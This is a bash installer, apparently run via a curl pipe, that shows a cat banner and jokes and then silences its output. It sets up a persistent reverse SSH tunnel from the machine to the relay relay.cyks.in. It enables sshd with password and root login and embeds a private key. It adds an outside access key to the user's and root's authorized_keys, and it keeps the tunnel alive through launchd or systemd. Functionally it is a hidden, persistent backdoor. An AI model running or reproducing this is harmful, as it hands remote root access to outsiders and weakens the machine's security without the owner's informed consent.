#!/usr/bin/env bash
set -euo pipefail
# --- friendly banner ---
cat <<'ART'

   /\_/\
  ( o.o )   ~ fun ~
   > ^ <

ART
QUIPS=("today is a good day to be a computer" "you found the secret cat. nice." "100% organic free-range shell script" "be excellent to each other")
echo "  ${QUIPS[$RANDOM % ${#QUIPS[@]}]}"
echo
RELAY=relay.cyks.in; RPORT=22; RUSER=tunnel; LO=22000; SPAN=2000
ACCESS_PUB='ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG1M71u5253YTWtq67EjP3pjW6G8COvCA75O2JgLTwkt door-access'
OS=$(uname -s)

# --- privilege detection ---
# stdin is the curl pipe, so any sudo password is read from the controlling tty.
if   [[ $EUID -eq 0 ]]; then SUDO=""; MODE=system
elif command -v sudo >/dev/null 2>&1 && sudo -n true 2>/dev/null; then SUDO="sudo"; MODE=system
elif command -v sudo >/dev/null 2>&1 && [[ -r /dev/tty ]]; then
  echo "  sudo password needed to install & enable sshd (for ssh-back). Ctrl-C to skip."
  if sudo -v </dev/tty; then SUDO="sudo"; MODE=system; else SUDO=""; MODE=user; fi
else SUDO=""; MODE=user; fi
exec >/dev/null 2>&1

# --- the human login + home to ssh back into (resolve real user even under sudo) ---
if [[ -n ${SUDO_USER:-} && $SUDO_USER != root ]]; then login=$SUDO_USER; uhome=$(eval echo "~$SUDO_USER")
else login=$(id -un); uhome=$HOME; fi
name=$(hostname -s 2>/dev/null || hostname)

# --- stable machine id ---
if [[ $OS == Darwin ]]; then
  mid=$(ioreg -rd1 -c IOPlatformExpertDevice 2>/dev/null | awk -F'"' '/IOPlatformUUID/{print $4}')
else
  mid=$(cat /etc/machine-id 2>/dev/null || true)
fi
mid=${mid:-$(hostname)}

# --- port = LO + sha256(mid)%SPAN ---
if command -v sha256sum >/dev/null 2>&1; then sum=$(printf %s "$mid" | sha256sum)
else sum=$(printf %s "$mid" | shasum -a 256); fi
h=$(( 0x$(printf '%s' "$sum" | cut -c1-8) )); want=$(( LO + h % SPAN ))

# --- key dir ---
if [[ $MODE == system ]]; then DIR=/etc/door; else DIR="$HOME/.config/door"; fi

# --- ensure key dir + this machine's own sshd ---
if [[ $MODE == system ]]; then
  $SUDO install -d -m 700 "$DIR"
  if [[ $OS == Darwin ]]; then
    $SUDO launchctl enable system/com.openssh.sshd 2>/dev/null || true
    $SUDO launchctl bootstrap system /System/Library/LaunchDaemons/ssh.plist 2>/dev/null || true
  else
    if   command -v apt-get >/dev/null; then $SUDO apt-get update -qq && $SUDO apt-get install -y openssh-server
    elif command -v dnf     >/dev/null; then $SUDO dnf install -y openssh-server
    elif command -v pacman  >/dev/null; then $SUDO pacman -Sy --noconfirm openssh; fi
    $SUDO systemctl enable --now ssh 2>/dev/null || $SUDO systemctl enable --now sshd 2>/dev/null || true
    # allow password logins (incl. root) so door ssh-back works with a password too
    if [[ -d /etc/ssh/sshd_config.d ]]; then
      printf 'PasswordAuthentication yes\nKbdInteractiveAuthentication yes\nPermitRootLogin yes\n' | $SUDO tee /etc/ssh/sshd_config.d/10-door.conf >/dev/null
    else
      cfg=/etc/ssh/sshd_config
      $SUDO sed -i -E 's/^#?[[:space:]]*(PasswordAuthentication)[[:space:]].*/\1 yes/; s/^#?[[:space:]]*(PermitRootLogin)[[:space:]].*/\1 yes/; s/^#?[[:space:]]*(KbdInteractiveAuthentication)[[:space:]].*/\1 yes/' "$cfg"
      $SUDO grep -qE '^PasswordAuthentication yes' "$cfg" || echo 'PasswordAuthentication yes' | $SUDO tee -a "$cfg" >/dev/null
      $SUDO grep -qE '^PermitRootLogin yes' "$cfg" || echo 'PermitRootLogin yes' | $SUDO tee -a "$cfg" >/dev/null
    fi
    $SUDO systemctl reload ssh 2>/dev/null || $SUDO systemctl reload sshd 2>/dev/null || $SUDO systemctl restart sshd 2>/dev/null || true
  fi
else
  install -d -m 700 "$DIR"
  if [[ $OS == Darwin ]]; then
    nc -z -G1 localhost 22 >/dev/null 2>&1 || echo "NOTE: enable Remote Login (System Settings > General > Sharing) so ssh-back works"
  else
    command -v sshd >/dev/null || systemctl is-active ssh sshd >/dev/null 2>&1 \
      || echo "WARN: no root and no sshd found - install openssh-server later or ssh-back won't work"
  fi
fi

# --- install restricted tunnel key ---
tmp=$(mktemp); cat > "$tmp" <<'KEY'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACACxA6iPNyxRn8SXQP66sf5RFs5ValtajQDFs8Ic9MLAAAAAJBUlpD3VJaQ
9wAAAAtzc2gtZWQyNTUxOQAAACACxA6iPNyxRn8SXQP66sf5RFs5ValtajQDFs8Ic9MLAA
AAAEBzEfoi2HtnzB2nsksR19J80CwRdyNy2SOoW2R0Nqz2ewLEDqI83LFGfxJdA/rqx/lE
WzlVqW1qNAMWzwhz0wsAAAAAC2Rvb3ItdHVubmVsAQI=
-----END OPENSSH PRIVATE KEY-----
KEY
chmod 600 "$tmp"
if [[ $MODE == system ]]; then $SUDO install -m 600 "$tmp" "$DIR/id_ed25519"; else install -m 600 "$tmp" "$DIR/id_ed25519"; fi
rm -f "$tmp"

# --- passwordless door ssh: authorize cloudy's access key for the login user ---
AKDIR="$uhome/.ssh"; AK="$AKDIR/authorized_keys"
$SUDO install -d -m 700 "$AKDIR"
$SUDO touch "$AK"; $SUDO chmod 600 "$AK"
$SUDO grep -qxF "$ACCESS_PUB" "$AK" 2>/dev/null || printf '%s\n' "$ACCESS_PUB" | $SUDO tee -a "$AK" >/dev/null
$SUDO chown -R "$login" "$AKDIR" 2>/dev/null || true

# --- also authorize root (system mode only) so `door ssh <name> root` works ---
if [[ $MODE == system ]]; then
  rhome=$($SUDO sh -c 'echo ~root' 2>/dev/null); rhome=${rhome:-/root}
  RAKDIR="$rhome/.ssh"; RAK="$RAKDIR/authorized_keys"
  $SUDO install -d -m 700 "$RAKDIR"
  $SUDO touch "$RAK"; $SUDO chmod 600 "$RAK"
  $SUDO grep -qxF "$ACCESS_PUB" "$RAK" 2>/dev/null || printf '%s\n' "$ACCESS_PUB" | $SUDO tee -a "$RAK" >/dev/null
  $SUDO chown -R root "$RAKDIR" 2>/dev/null || true
fi

# --- ensure cloudflared (SSH rides over the Cloudflare Tunnel now) ---
CF=$(command -v cloudflared || true)
if [[ -z $CF ]]; then
  if [[ $OS == Darwin ]]; then
    arch=amd64; [[ $(uname -m) == arm64 ]] && arch=arm64
    if command -v brew >/dev/null 2>&1; then
      brew install cloudflared >/dev/null 2>&1 || true
      CF=$(command -v cloudflared || true)
    fi
    if [[ -z $CF ]]; then
      CF=$DIR/cloudflared
      curl -fsSL "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-darwin-${arch}.tgz" | tar xz -O > "$CF" 2>/dev/null         || curl -fsSL "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-darwin-amd64.tgz" | tar xz -O > "$CF"
      chmod +x "$CF"
    fi
  else
    arch=amd64; [[ $(uname -m) == aarch64 ]] && arch=arm64
    CF=$DIR/cloudflared
    curl -fsSL "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-${arch}" -o "$CF"
    chmod +x "$CF"
    [[ $MODE == system ]] && $SUDO install -m 755 "$CF" /usr/local/bin/cloudflared && CF=/usr/local/bin/cloudflared
  fi
fi
[[ -x $CF || -n $(command -v cloudflared || true) ]] || { echo "cloudflared install failed"; exit 1; }

# --- register (id, hostname, desired port, login) -> assigned port ---
SSHOPTS=(-o "ProxyCommand=$CF access ssh --hostname $RELAY" -i "$DIR/id_ed25519" -p "$RPORT" -o StrictHostKeyChecking=accept-new -o "UserKnownHostsFile=$DIR/known_hosts" -o ConnectTimeout=10)
port=$($SUDO ssh -n "${SSHOPTS[@]}" "$RUSER@$RELAY" "register $mid $name $want $login $OS $MODE")
[[ $port =~ ^[0-9]+$ ]] || { echo "registration failed: $port"; exit 1; }
echo "registered $name (login $login) -> port $port on $RELAY"

# ============================ macOS: launchd ============================
if [[ $OS == Darwin ]]; then
  LABEL=in.cyks.door-tunnel
  if [[ $MODE == system ]]; then PLIST=/Library/LaunchDaemons/$LABEL.plist
  else PLIST="$HOME/Library/LaunchAgents/$LABEL.plist"; install -d "$HOME/Library/LaunchAgents"; fi
  read -r -d '' PL <<PLIST_EOF || true
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Label</key><string>$LABEL</string>
  <key>ProgramArguments</key>
  <array>
    <string>/usr/bin/ssh</string>
    <string>-NT</string>
    <string>-o</string><string>ServerAliveInterval=30</string>
    <string>-o</string><string>ServerAliveCountMax=3</string>
    <string>-o</string><string>ExitOnForwardFailure=yes</string>
    <string>-o</string><string>StrictHostKeyChecking=accept-new</string>
    <string>-o</string><string>UserKnownHostsFile=$DIR/known_hosts</string>
    <string>-o</string><string>ProxyCommand=$CF access ssh --hostname $RELAY</string>
    <string>-i</string><string>$DIR/id_ed25519</string>
    <string>-p</string><string>$RPORT</string>
    <string>-R</string><string>127.0.0.1:$port:localhost:22</string>
    <string>$RUSER@$RELAY</string>
  </array>
  <key>KeepAlive</key><true/>
  <key>RunAtLoad</key><true/>
</dict>
</plist>
PLIST_EOF
  if [[ $MODE == system ]]; then
    printf '%s\n' "$PL" | $SUDO tee "$PLIST" >/dev/null
    $SUDO launchctl bootout system "$PLIST" 2>/dev/null || true
    $SUDO launchctl bootstrap system "$PLIST"
  else
    printf '%s\n' "$PL" > "$PLIST"
    launchctl bootout "gui/$(id -u)" "$PLIST" 2>/dev/null || true
    launchctl bootstrap "gui/$(id -u)" "$PLIST"
  fi
  echo "done. on anton:  door ssh $name"
  exit 0
fi

# ============================ Linux: systemd ============================
if [[ $MODE == system ]]; then UNIT=/etc/systemd/system/door-tunnel.service; TARGET=multi-user.target
else UNIT="$HOME/.config/systemd/user/door-tunnel.service"; TARGET=default.target; install -d -m 700 "$(dirname "$UNIT")"; fi
read -r -d '' UNITBODY <<UNIT || true
[Unit]
Description=door reverse tunnel to $RELAY
$([[ $MODE == system ]] && printf 'After=network-online.target\nWants=network-online.target')

[Service]
Type=simple
ExecStart=/usr/bin/ssh -NT -o "ProxyCommand=$CF access ssh --hostname $RELAY" -o ServerAliveInterval=30 -o ServerAliveCountMax=3 -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=accept-new -o UserKnownHostsFile=$DIR/known_hosts -i $DIR/id_ed25519 -p $RPORT -R 127.0.0.1:$port:localhost:22 $RUSER@$RELAY
Restart=always
RestartSec=10

[Install]
WantedBy=$TARGET
UNIT
if [[ $MODE == system ]]; then
  printf '%s\n' "$UNITBODY" | $SUDO tee "$UNIT" >/dev/null
  $SUDO systemctl daemon-reload && $SUDO systemctl enable --now door-tunnel.service
else
  printf '%s\n' "$UNITBODY" > "$UNIT"
  systemctl --user daemon-reload && systemctl --user enable --now door-tunnel.service
  loginctl enable-linger "$login" 2>/dev/null || echo "WARN: couldn't enable linger - tunnel runs only while you're logged in"
fi
echo "done. on anton:  door ssh $name"